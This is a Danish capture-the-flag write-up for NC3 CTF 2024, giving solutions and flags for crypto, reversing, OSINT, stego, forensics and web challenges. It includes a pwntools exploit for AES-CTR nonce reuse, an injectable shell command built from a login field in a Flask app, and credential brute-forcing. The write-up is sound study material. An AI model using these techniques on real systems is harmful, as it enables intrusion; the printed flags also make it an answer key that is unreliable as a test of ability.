NC3 CTF 2024 : Writeups


NC3 CTF 2024

Team: OUHohoho

Total Score: 2272 points @ 24th place

Løste challenges:

Challenge Kategori
Discord Kom godt i gang
Regler Kom godt i gang
Start her! Kom godt i gang
Nissesnak Kom godt i gang
Skoleudflugten OSINT
Mere kanel! Kom godt i gang
Julebrev Kom godt i gang
Gammelnissen Crypto
Kryptoplikation Crypto
Nisse-pension Reversing
Styrtet OSINT
Gnomernes Tegnestue Kom godt i gang
Julens Undergang Forensics
A Deep Secret Stego
Nisseportalen #1 Boot2root
Julemandens Ønskeliste Kom godt i gang
Gnomernes Hævn Kom godt i gang
Flimmer På Fjernsynet Stego
PostNordpolen I Crypto
Regnskabsnisserne Kom godt i gang
Ondsindede Loginforsøg Efterforskning: Det Store Nissehack
Serverskjulet Efterforskning: Det Store Nissehack
PostNordpolen II Crypto
Kodedepotets Hemmelighed Efterforskning: Det Store Nissehack
Alternativ Kodedeling Efterforskning: Det Store Nissehack
Gerningsgnomens Afsløring Efterforskning: Det Store Nissehack
Nisse-gæld Pwn
Skattekammeret - robotnisse Boot2root
Skattekammeret - storenisse Boot2root
GremlinGram Stego
Nisseportalen #2 Boot2root
Gift Wrappinator 9001 Reversing
Raided Forensics

Score over tid:

Score_over_Time.png

Løsninger:


Discord

NC3 CTF har en Discord server, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut.

Kom og vær med - måske nisserne har gemt et flag!

https://nc3ctf.dk/discordauth

Løsning: Screenshot af NC3 CTF 2024 Discord

Flag: NC3{n1ss3rn3_ch4tt3r_pÅ_l1v3t_lØs}


Regler

Opsummering af info og regler:

  • Flag har formatet NC3{.*}
  • Opgaver scores dynamisk ud fra antal løsninger
  • Der kommer flere opgaver 6. december kl. 14:00
  • Nogle opgaver hostes på TryHackMe og kræver en gratis bruger der
  • Det er ikke tilladt at dele eller spørge om hints og flag
  • Det er ikke tilladt at angribe CTFens infrastruktur

Læs resterende info og regler grundigt her før I går i gang. Måske gemmer der sig også et flag!

Løsning: Under regler (https://nc3ctf.dk/regler) nederst på siden finder man flag.

Flag: NC3{hu5k_r3gl3rn3_så_bli1v3r_d3t_sj0v3s7_f0r_4ll3!}


Start her!

Velkommen til NC3 CTF 2024!

Du har her adgang til en række opgaver inden for forskellige cyber security kategorier. Jo flere der løser en opgave, jo mindre bliver den værd, så over tid bliver opgavepoint en god indikator på sværhedsgrad.

Målet i hver opgave er at finde et “flag”, altså en tekststreng med et bestemt format, der indikerer, at opgaven er løst. Flag i NC3 CTF starter med NC3{ og slutter med } og indtastes i inputfeltet for den løste opgave.

Her er dit første flag: NC3{d3t_jul_d3t_c00l!}

Held og lykke!

Flag: NC3{d3t_jul_d3t_c00l!}


Nissesnak

Alle kan være med her. Reversing for alle. Sniksnak.

Vedhæftet fil: nc3ctf2o24_nissesnak.zip

Løsning: I zipfilen er der en html side:

<!DOCTYPE html />
<meta charset="UTF-8">
<html>
<body>

<h1>Nissesnak - NC3CTF2o24</h1>

<script>
function ReverseString(input)
{
return input.split('').reverse().join('');
}

function OnClick()
{
var flagValue = document.getElementById("flagInput").value;

if (ReverseString(flagValue) == '}kansessin_tdnevgab{3cn')
{
alert('Du fandt flaget');
}
else
{
alert('Prøv igen');
}
}
</script>


Indtast flaget: <input type="text" id="flagInput"/>
<input type="button" onclick="OnClick();" value="Afprøv"/>

</body>
</html>

}kansessin_tdnevgab{3cn

Reverse string: python3 -c 'print("}kansessin_tdnevgab{3cn"[::-1])' giver nc3{bagvendt_nissesnak}

Flag: nc3{bagvendt_nissesnak}


Skoleudflugten

I år har nisserne planlagt at besøge alle danske skoler. Hver skole skulle sende adressen og et billede af skolens tydeligste kendetegn, så den er nemmere at finde fra luften.

Men én skole har kun sendt billede, og det ville være synd, hvis nisserne ikke kom på besøg der. Kan du finde adressen til skolen, så de også får besøg i år?

Flag format: NC3{Vejnavn Husnummer}

F.eks.: NC3{Nissegade 24}

Vedhæftet fil: Voresskole.jpg

Løsning: Med en hurtig reverse image search finder vi Kunst på Broagerland: Hvalen ved Broager Skole

Adressen for Broager Skole er Nejsvej 19, 6310 Broager.

Flag: NC3{Nejsvej 19}


Mere kanel!

Efter en god, lille indledning er her noget lidt sværere.

Vedhæftet fil: nc3ctf2o24_mere_kanel.zip

Løsning: I zipfilen er der en html side:

<!DOCTYPE html />
<meta charset="UTF-8">
<html>
<body>
<center>

<h1 style="font-family:'Lucida Console'">Mere kanel! - NC3CTF2o24</h1>


<script>
	function OnClick()
	{
		var flagValue = document.getElementById("flagInput").value;

		var flag = '';
		for (var i = 0; i < flagValue.length; i++)
		{
			var c = flagValue.charCodeAt(i);
			flag += String.fromCharCode(c + 1);
			flag += String.fromCharCode(c ^ 1);
		}

		if (flag == atob("T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw="))
		{
			alert('Du fandt flaget');
		}
		else
		{
			alert('Prøv igen');
		}

		console.log("Flag: " + btoa(flag));
	}
</script>


Indtast flaget: <input type="text" id="flagInput"/>
<input type="button" onclick="OnClick();" value="Afprøv"/>

</center>
</body>
</html>

Med lidt Python kan vi hurtigt løse dette:

import base64
decoded = base64.b64decode("T09EQjQyfHplZWZkZmRmZGZkdXVgXmZkZmRmZHNzc3Nzc2Bec3NqaHRyZmRvb2hmc3P5+WVlfnw=")
print(''.join(chr(decoded[i] - 1) for i in range(0, len(decoded), 2) if (decoded[i] - 1) ^ 1 == decoded[i + 1]))

Flag: NC3{deeeet_eeerrr_risengrød}


Julebrev

Hjælp! Julemanden har fået et brev i sin postkasse fra et barn, men han kan slet ikke tyde, hvad der står!

Billde af Julebrev

Vedhæftet fil: julebrev.txt

Løsning: Simpel ciphertext, med simple gætterier, som f.eks. “Kære Julemand” og “NC3”.

KÆRE JULEMAND,

JEG HÅBER, DU HAR DET GODT OPPE PÅ NORDPOLEN,
OG AT RUDOLF OG DE ANDRE RENSD⛸️R FÅR MASSER AF GULER🧤DDER.

JEG 🧤NSKER MIG:
- AT ALLE 🔔ERDENS B🧤RN KAN FÅ MAD NOK OG EN GOD FAMILIE
- AT INGEN MÅ 🔔ÆRE ENSOMME OG ALENE I JULEN
- NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}
- EN KÆMPE FLE🎁I TRA🎁 BANE

MANGE KÆRLIGE HILSNER
MAGNUS, 7 ÅR

Flag: NC3{FR3D_PÅ_J0RD_0G_0GSÅ_1_RUMM3T}


Gammelnissen

Gammelnissen krypterer altid sine beskeder med RSA og skriver hvert primtal ned på hver sin lap papir - men nu har han glemt, hvor han lagde den ene.

Mon ikke også ét er nok…

Vedhæftet filer: encrypt.py og krypteret.txt

Løsning: Ved at regne os frem til d kan vi dekryptere den krypterede besked.

from math import isqrt

n = 113911967470309902498408355902002849141315080752710385265970164128666973595176344769929712328073912045889359818114591877923052777733321490306146637488744172731692293178898440960409438792433505782977089979664244577305445285018320700759389078834385329224670109256967919368893276088261120001891752743010832994161
ct = 181418563625235140825700189846742192203761169128129988853260864253616933650143288011695280847386639743255770112135714678317911664798191379176143996036639508592464099027261445464652005100125349285229059123836955894715533222277904738129836808228104462852378456333009976696034882026353617159677318042624866664

# More precise p computation
p = isqrt(n)

# Check if p is exact
while p * p > n:
    p -= 1
while p * p < n:
    p += 1

# Verify n = p * p
assert n == p * p, "Factorization failed"

# Compute φ(n) = p(p-1)
phi = p * (p-1)

# Compute private key d
e = 0x10001
d = pow(e, -1, phi)

# Decrypt the message
m = pow(ct, d, n)

# Convert to bytes
from Crypto.Util.number import long_to_bytes
flag = long_to_bytes(m)
print(flag.decode())

Flag: NC3{3t_pr1mt4l_1_hånd3n_3r_b3dr3_3nd_t0_på...3ll3r_v3nt}


Kryptoplikation

Crypto? Er det ikke sådan noget med en blockchain og bitcoin eller hvad?

Vedhæftet filer: encrypt.py og krypteret.txt

Løsning: Ved at antage at flaget starter med NC3{ og slutter med } kan vi bruge:

from sympy import mod_inverse

# Constants from the encrypt.py script
P = 13187894026947502600331395231459335882158393410614133036296342117478704820555154018132946245287063906492618556075499328589037764675831105264487871422591331

# Known plaintext details
known_plaintext_char = 'N'  # First character of the flag
known_plaintext = ord(known_plaintext_char)  # ASCII value of 'N'

# Ciphertext (from krypteret.txt)
ciphertext = [13068625329403427490209226484937886428200436811391600198863670891144496138196857451785632892218955434297452961323931225045892056105830636229801232124101611, 8013178340487526826124636731962961652928458866173957508131223711212639098315916960578351604079689741981661485170114164549782695259613610607325807631866316, 9052097101030991151303394056746284813906377661702743708345336433343659198842374257634180977423434857290358419176243467475738566095190458506581108366627643, 10970909692059152988164683710950998530584939787130272325530000242493421156750893429949421920020113791647531494186411268603456029673010195592176190771497337, 13028869096888735786835170236097403276881117944984089253052780482366426577410758596336528441196252610232397763073408523864843486582497146551572352357938371, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335, 11070300273345882246599824333052206408883236953149049690057226264438595058716140568572183047576870851810169489812718021556077453481343919787748390186905437, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 7933665875458143419376524234281995350289821133358935616509442893656499976743719249680142702034284093851551088669068762187685556212946631250868048099539836, 1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 3897259530828361228783663681670152160336102550466323653085663231466628256996186627804138561727412104811928947396119654027007781440639708688533484458984248, 4896422058857133850588364757612992169994702479587598907488885544819578796736545069410863484048454396055570683151726255771915082752883066909559905427582335, 10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 5915462703143252324080093957976073755312961841912629634797553062561564116869952938742140631880848099331740018032594208107346668826793169969700766279262042, 8952706519744261892868253434645076935608080495683966343818110411398485296877127119011419849866677797127720423549936714523117142286856734311008908951219543, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 13008990980631389935148142111677161701221458511780333780147335277977391797017709168611976215684901198199870163948147173274319201820830401712457912474856751, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 840137597970005808308476080580907404381324463491231471159660678240672296595963019810307118230230994983420942753515797020713023218909399508110901903945127, 860015714227351659995504205001148980040983896694986944065105882629707076989012447534859343741582407015948541878777147611237307980576144347225341787026747, 10990787808316498839851711835371240106244599220334027798435445446882455937143942857673974145531465203680059093311672619193980314434676940431290630654578957, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 2858340770284896903604906356886828999358183754937537452871550509335608156469729330748309188383666989503232013389990351101051910605062860789278183724222921, 1958568823542853540235345903045196867997880991835039562995554217927831518694618027764345393619381758422228273260690502308766033101153226763823962171032934, 5935340819400598175767122082396315330972621275116385107702998266950598897263002366466692857392199511364267617157855558697870953588459914808815206162343662, 1859178242256124281800205280943988989699583825816262198468328195982657616729370889141584266062624698259590277634383749356144609292819502568251762755624834, 6934503347429370797571823158339155340631221204237660362106220580303549437003360808073417779713241802607909352913462160442778254900703273029841627130941749, 6014853284429981582515234580077281633611259007931406999324779084506738018835200077364901759437605159494378013658900961059968092635126894165272965694670142, 5895584586885906472393065833555832179653302408708874161892107858172529336476903511017588406369496687299212418907332857516822384065126425130586326396180422]


# Step 1: Calculate the encryption key
first_ciphertext = ciphertext[0]
key = (first_ciphertext * mod_inverse(known_plaintext, P)) % P
print(f"Derived Key: {key}")

# Step 2: Decrypt the ciphertext
decrypted_bytes = []
for i, c in enumerate(ciphertext):
    decrypted_value = (c * mod_inverse(key, P)) % P  # Modular inverse
    decrypted_byte = decrypted_value % 256  # Wrap into ASCII range
    decrypted_bytes.append(decrypted_byte)
    print(f"Byte {i}: Decrypted Value = {decrypted_value}, ASCII = {chr(decrypted_byte)}")

# Step 3: Convert decrypted bytes to a string
try:
    decrypted_text = ''.join(chr(byte) for byte in decrypted_bytes)
    print("\nDecrypted Flag:", decrypted_text)
except ValueError as e:
    print("\nError during ASCII conversion:", e)

Flag: NC3{https://www.cryptoisnotcryptocurrency.com/}


Nisse-pension

Nissen Fritz er træt af den daglige rutine i Nisseby, men han opfylder ikke kravene til regeringens tidlige Nisse-pension.

Mon han kan snyde systemet, så han kan stoppe på arbejdsmarkedet 250-300 år før tid?

Bemærk: Opgaven lukker op for endnu en opgave om Nisseby.

Vedhæftet fil: nisseby

Løsning: Ved at bruge PINCE (Cheat Engine til linux) kan jeg snyde med hvor mange penge jeg har og dage jeg arbjedet.

Screenshot af PINCE setup

Dag 100001 - du har ❄️200
1. 🛠️ Arbejd på værkstedet
2. 💤 Sov
3. 🛒 Gå i Frosto
4. 👋 Afslut
> 3

🛒 Velkommen i Frosto, hvad vil du købe? 🛒
1. Julegløgg    ❄️50
2. Hint        ❄️500
3. Hint        ❄️1.337
4. Flag        ❄️10.000.000
5. Gå tilbage
> 4

🎉 Tillykke! Her er dit flag: NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅} 🎉
halfdan@desktop:~/

Flag: NC3{30_År5_0psp4r1ng_s1kr3t_nu_k4n_Fr1tz_Gå_pÅ_p3ns10n 🎅}


Styrtet

Ved testflyvning af den nye Slæde2024 løb nogle af rensdyrene tør for æbleskiveskraft, og vi måtte nødlande. Men hvor er vi?

Der blev taget disse to billeder og sendt til Geonisserne. De svarer dog først efter tre dage. Kan du hjælpe hurtigere?

Flaget er området som helhed, det vil være tydeligt, når stedet er fundet.

MD5 af området (uden NC3{} omkring) er 5f04609c04b031b6ed03b9d200e6cb5c (produceret med CyberChef)

Vedhæftet filer: styrt1.png og styrt2.png

Løsning: Ved at zoome lidt ind på det ene billede spotter man noget der ligner et højt tårn:

Screenshot af det ene styrt billede

Ved første tanke lignede dette Helnæs Fyr, men med nærmere analyze kan man hurtigt spotte at det er Tunø Kirke, området er Tunø; hvilket også matcher MD5et.

Flag: NC3{Tunø}


Gnomernes Tegnestue

Åh nej! Nissernes efterretningstjeneste har opsnappet, at ondsindede gnomer planlægger et cyberangreb for at forpurre julen!

Vores skarpsindige OSINT-nisser har lokaliseret gnomernes hemmelige tilholdssted – en digital borg, skjult i cyberspace, hvor de samler sig for at lægge deres skumle planer.

Men gnomerne har sikret deres tilholdssted med en snedig login-platform og en specialbygget database, der hidtil har modstået nissernes hackingforsøg. Kan du hjælpe med at bryde igennem deres forsvar, infiltrere deres tegnestue og afsløre planerne, før det er for sent?

https://tryhackme.com/jr/gn0mernestegnestu32o24

Vedhæftet fil: gnomernes_tegnestue.zip

Løsning: Creds ligger i creds.txt filen. Log ind som admin på websitet på http:// og indtast admins creds. Så står flaget på forsiden under Hemmelig besked.

============|============
BRUGERNAVN  |ADGANGSKODE
============|============
admin       |jU1en_sk4L-ikk3_f0rBl1ve-foR_ev1gT
bytebryder  |jEg_knu5eR-b1tS_7iL-m0rgeNm4D
kryptklo    |dU_V1l-4ldrIg_k0mm3-uD_4f-m1Ne_Kl0er
frostbider  |1ngEn_kan-kl4Re_m1t-k0Lde_g3bi5
kodeknuser  |d1N_k0dE-5pIser_j3G-Til_m1dDagsM4d

Flag: NC3{l4v_iKk3_3gNe_1mpLemen7ationer_4f_d4t4Bas3r}


Julens Undergang

Vores threat intelligence nisser har efterretninger på, at gnomerne i Gnomistan planlægger et stort angreb på Nisseland og julen selv.

Vi har en spionnisse udstationeret i Kaos A/S, den primære organisation bag planlægningen og udførslen af angrebene. Hun har sniffet netværkstrafik, vi håber kan give mere konkrete leads - det meste er dog krypteret!

Hjælp os med at få adgang til al kommunikationen, så vi kan sikre julen og Nisseland!

Vedhæftet fil: sniffed.pcapng

Løsning:

I tls pakke med mail kommunikation, stream 27, findes flaget

Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
Subject: Operation Julens Undergang
From: Gnoklios <[email protected]>
To: Afdelingen for Julens Undergang <[email protected]>

Alle gnomer i Kaos A/S!

Tiden er kommet til den st=C3=B8rste operation mod Nisseland til dato!
Nisserne er travle med juleforberedelserne og er ikke opm=C3=A6rksomme p=C3=
=A5 deres omgivelser.
Vi har over den seneste m=C3=A5ned infiltreret deres v=C3=A6rksteder og sabot=
eret leget=C3=B8jet, s=C3=A5 de er mere pressede end nogensinde f=C3=B8r.

Operation Julens Undergang begynder p=C3=A5 torsdag lige efter deres frokostp=
ause - en tyk nisse er en langsom nisse.

Det er EKSTREMT vigtigt, denne information bliver i Kaos A/S.
Hvis bare en enkelt snagende nisse f=C3=A5r fat p=C3=A5 informationen med sin=
e klamme korte fingre, er hele operationen kompromiteret.

NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}

Julen bliver endelig vores!
Gnoklios, CEO Kaos A/S

Flag: NC3{d3jl1g_3r_jul3n_pr@gt1g_3r_d3ns_und3rg4ng}


A Deep Secret

Efter en stor politiaktion mod banden Hydra Tech Commandos har NC3 modtaget en række devices til undersøgelse. Lederen KrigStoffer overfører tilsyneladende ofte feriebilleder til de andre medlemmer via WIM disk images.

Vi mistænker, de bruger billederne til at gemme kommunikation om deres salg af LSD, heroin og andre stoffer med alternative metoder.

Vedhæftet fil: feriebilleder.wim

Løsning: Ved at bruge 7-Zip: 7z x feriebilleder.wim kan vi extract 53 filer, hvor 49 af dem er 150x150 png billeder med alle mulige farver i baggrunden og et bogstav, tal eller andet char i forgrunden.

Billederne indeholder som sagt forskellige char. Billed filerne har navne der er sorterbare, gør man det og laver grupper af 7 filnavne, vil man kunne se et mønster. Hvilket giver 7 grupper, med 7 filnavne i hver. Tager man billeder der viser en char fra hver grupper i dens orden, og sætter dem sammen haves flaget.

KDAsIDAp        N
KDAsIDEp        3
KDAsIDIp        D
KDAsIDMp        3
KDAsIDQp        R
KDAsIDUp        _
KDAsIDYp        R

KDEsIDAp        C
KDEsIDEp        _
KDEsIDIp        R
KDEsIDMp        R
KDEsIDQp        N
KDEsIDUp        D
KDEsIDYp        Ø

KDIsIDAp        3
KDIsIDEp        M
KDIsIDIp        Ø
KDIsIDMp        _
KDIsIDQp        4
KDIsIDUp        4
KDIsIDYp        M

KDMsIDAp        {
KDMsIDEp        1
KDMsIDIp        M
KDMsIDMp        4
KDMsIDQp        T
KDMsIDUp        7
KDMsIDYp        M

KDQsIDAp        4
KDQsIDEp        N
KDQsIDIp        M
KDQsIDMp        L
KDQsIDQp        1
KDQsIDUp        4
KDQsIDYp        3

KDUsIDAp        L
KDUsIDEp        3
KDUsIDIp        3
KDUsIDMp        T
KDUsIDQp        V
KDUsIDUp        5
KDUsIDYp        !

KDYsIDAp        L
KDYsIDEp        _
KDYsIDIp        _
KDYsIDMp        3
KDYsIDQp        3
KDYsIDUp        T
KDYsIDYp        }


NC3{4LL
3_M1N3_
DRØMM3_
3R_4LT3
RN4T1V3
_D4745T
RØMM3!}



NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}

Flag: NC3{4LL3_M1N3_DRØMM3_3R_4LT3RN4T1V3_D4745TRØMM3!}


Nisseportalen #1

Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.

Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?

Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i…

https://tryhackme.com/jr/nisseportalen2o24

Løsning: gobuster viser mappen /portal/. Hvis man tager source på portal/index.html finder man:

<html>
<head>

</head>

<body>
<script>
window.location.replace("index.php");
</script>
<p>NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}</p>
</body>
</html>

Flag: NC3{Flag1:V3lkOmM3n_7IL_NI553POR74L3n}


Julemandens Ønskeliste

Julemandens hjemmeside er klar til jul! Besøg siden og send din ønskeliste til den gode gamle julemand.

Men der er en hemmelighed gemt bag kulisserne – julemandens egen ønskeliste. Kan du finde den og afsløre, hvad han selv ønsker sig i år?

https://tryhackme.com/jr/julem4ndens0nskeliste2o24

Løsning:

  1. Landing page afslører at siden er lavet af “Julemand” og en login.html side
  2. På login.html er der adgang til register.html hvis man inspisere koden
  3. Man opretter en bruger og logger ind, hvorefter man redirecter til ønskeliste.html
  4. Her finder man en kommentar i koden om at man ikke har begrænset adgangen til /uploads. Her finder man /uploads/wordlist/julemandens_hemmelige_koder.txt, med en række adgangskoder
  5. vi sende login til burpsuite og vælger “Julemand” som burgernavn og finder at password “christmas1” giver en adgang til julemandens ønskeliste: julemandensønskeliste.html

Flag: NC3{jul3mand3ns_ønsk3l1st3}


Gnomernes Hævn

Neeeej, gnomerne har opdaget, de kom til at leake alle deres passwords i Gnomernes Tegnestue direkte i den udleverede fil!!!

Det ser ud til, de har skiftet flaget og alle deres passwords på baggrund af lækket - kan du mon stadig få adgang?

OBS: Opgaven er identisk med Gnomernes Tegnestue, bare med alle passwords redacted i den udleverede ZIP.

https://tryhackme.com/jr/gn0mernesh43vn2o24

Vedhæftet fil: gnomernes_hvn.zip

Løsning: I ZIP-filen ligger koden til flask. Der er en linje vulnerable code for username parametren fra loginsiden: get_password_query = f"awk -F'|' -v val='{username}' '{{gsub(/[[:space:]]/, \"\", $1); print ($1==val?$2:Null)}}' creds.txt | grep ."

awk kommandoen kigger bare fra linje 1. Den forstår ikke hvad der er en header. Så fra listen:

============|============
BRUGERNAVN  |ADGANGSKODE
============|============
admin       |REDACTED
bytebryder  |REDACTED
kryptklo    |REDACTED
frostbider  |REDACTED
kodeknuser  |REDACTED

Matcher BRUGERNAVN | ADGANGSKODE. Så input BRUGERNAVN og ADGANGSKODE og så kommer man til den hemmelige side..

Flag: NC3{s@t_1kk3_gn0m3r_71l_4t_1mpl3m3nt3r3_CTF_0pg4v3r}


Flimmer På Fjernsynet

Arrrrgh, knas på kanalen og støj på linjen, nu flimrer mit gamle møg TV igen, jeg skulle lige til at se Pyrus 😠

https://tryhackme.com/jr/flimmerfjernsynet2o24

Løsning: Screenshot af index side

nå knappen aktiveres skifter billedet til et med “sne”

Screenshot af sne billed

Fra Html’en ser vi:

<body>
    <div class="container">
        <img src="/skift-kanal" alt="Flimmer" id="flimmer" class="channel">
        <img src="../static/tv.png" alt="TV" class="tv">
        <div class="button-container">
            <button class="switch-button" onclick="switchChannel()">Skift Kanal</button>
        </div>
    </div>
    <script>
        function switchChannel() {
            const flimmer = document.getElementById('flimmer');
            const timestamp = new Date().getTime(); // Timestamp to bypass caching
            flimmer.src = `/skift-kanal?${timestamp}`;
        }
    </script>
</body>

Først download en bunke billeder vi kan “lege” med

for i in {1..10}; do
    curl "http://10.10.6.240/skift-kanal?$(date +%s%N)" -o "image_$i.png"
    sleep 1
done
from PIL import Image
import numpy as np

# Load images
image1 = np.array(Image.open("image_1.png"))
image2 = np.array(Image.open("image_10.png"))
image1_rgb = image1[:, :, :3]  # Extract RGB channels only
image2_rgb = image2[:, :, :3]
xor_result = np.bitwise_xor(image1_rgb, image2_rgb)
xor_image = Image.fromarray(xor_result.astype(np.uint8))
xor_image.save("xor_result_rgb.png")
xor_image.show()

efter lidt rens får vi

Screenshot af flag

Flag: NC3{hvord4n_5k4l_j3g_s3_jul3k4l3nd3r_m3d_4l_d3n_fj3rn5yn5fl1mm3r?}


PostNordpolen I

Livet som nysgerrig postnisse for PostNordpolen var altså lidt sjovere før - nu har kryptonisserne fundet på et system til kryptering af intern post mellem værkstederne 🙁

Hvert værksted har udpeget en nøglenisse med krypteringsansvar, der hver mandag morgen kl. 8:00 får udleveret en ny delt nøgle og en fælles kodebog med hemmeligheder til engangsbrug.

PostNordpolen udleverer vel omtrent 30 breve om dagen normalt - mon nøglenisserne har koder nok til en pludselig stigning?

https://tryhackme.com/jr/postnordpolen2o24

Forbind med: nc <tildelt-ip> 1337

Bemærk: Opgaven lukker op for PostNordpolen II og PostNordpolen III.

Vedhæftet fil: postnordpolen_i.py

Løsning: Man ikke anvende samme nonce i aes_ctr da man så kan deducte plaintexten ud fra ciphertexten.

from pwn import * 
import binascii 

context.log_level = 'debug'
host = '10.10.26.14'
port = 1337  

#this to connect to the server
p = remote(host, port) 

#decrypt with XOR func 
def xor(*args):
    return bytes([a ^ b ^ c for a, b, c in zip(*args)])

#Step 1: WE retrieve the encrypted flag
p.sendlineafter('> ', '1')
p.recvline()
enc_flag = binascii.unhexlify(p.recvline().strip().split(b': ')[1]).strip()
#enc_flag = binascii.unhexlify(p.recvline().strip().split)
#log.info(f'{enc_flag.hex()}')
log.info(f'Encrypted flag: {enc_flag.hex()}')

#Step 2: We send a known input with the same length as the encrypted flag
# Subtract the nonce length - deducted from initial try.
input_str = 'A' * (len(enc_flag) - 12)

def getAES():
    p.sendlineafter('> ', '2')
    p.sendlineafter('Besked: ', input_str)
    p.sendlineafter('Adresse: ', 'Her')
    p.recvline()
    encoded_input = binascii.unhexlify(p.recvline().strip().split(b': ')[1])
    return encoded_input
    #log.info(f'Encrypted input: {enc_input.hex()}')

enc_input = ''

#Starts while loop but limits to 300 rounds.
i = 1
while i < 300:
  encoded_input = getAES()
  result = encoded_input.hex()
  
  if result[:12] == enc_flag.hex()[:12]:
    #Print the visible flag and input as hex
    print(enc_flag)
    print(binascii.unhexlify(result))

    #Return the binary format and sets variable
    enc_flag = binascii.unhexlify(enc_flag.hex()[-98:])
    enc_input = binascii.unhexlify(result[-98:])
    break

  i += 1

#Step 3: Calculate the flag with XOR
flag = xor(enc_flag, enc_input, input_str.encode())
log.success(f'Flag: {flag.decode()}')

#this closes the connection
p.close()

# Original: simonedimario 
# Modified by: Raihan
# Credits: https://medium.com/@raihansltn/reduce-reuse-recycle-cryptography-ctf-hacker-class-compfest16-d9ca4824c558
# AES-CRT: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ctr-mode

Flag: NC3{P0stN0rdp0l3n_3r_5t0r3_f0r74l3r3_f0r_g3nbrug}


Regnskabsnisserne

Julemandens regnskabsnisser har udviklet et indkodningssystem for at skjule deres beskeder fra nysgerrige blikke.

Men en dag da nisserne gik til frokost, glemte én af dem at låse sin computer. En snedig gnom så sit snit til at snige sig ind og stjæle en del af deres samtale.

Kan du knække nissernes kode og afsløre, hvad de diskuterer i hemmelighed?

Vedhæftet fil: kommunikation.txt

Løsning: Substitution cipher.

Tror flaget gemmer sig hér: 150 166 213 150 206 216 214 166 d : <> H 166 62 <> 141 124 102 234 201 151 d 224 66 214 164 e s 124 216 202 100 s j 164 e r 164 d 102 211 224 236

Altså 141 = N (Findes 2 steder, giver mening der hvor det andet store N står)
124 = C (Findes 2 steder, begge en del af flaget)
102 = 3 (Findes 2 steder, begge en del af flaget)
234 = { (findes 1 sted)
236 = } (findes 1 sted)

Tallene ligger i blokke af 7, hvorefter der kommer et spring på 4 tegn. Har bare slavisk gået det igennem, og fundet dem et af gangen…

TalThomas: Jeg forstaar ikke, hvor julemanden faar alle de penge fra
FrostFinn: Nej, men de kommer altid hvert aar
KlokkeKarl: Er det sikkert at skrive hemmelige beskeder her
FrostFinn: Ja ja, der er aldrig nogen, som har set mine beskeder
KlokkeKarl: Okay, for jeg vil bare sige, at postnordnisserne har det bedre end os
TalThomas: Hvad mener du? Vi kunne da ikke have det bedre
KlokkeKarl: Jeg har set, at de faar varm kakao hver dag - og det med floedeskum
FrostFinn: Jamen saa synes jeg, at vi skal tage over og drikke alt deres kakao
TalThomas: Ja, det kan ikke passe, at andre nisser har det bedre end os, naar vi styrer regnskabet
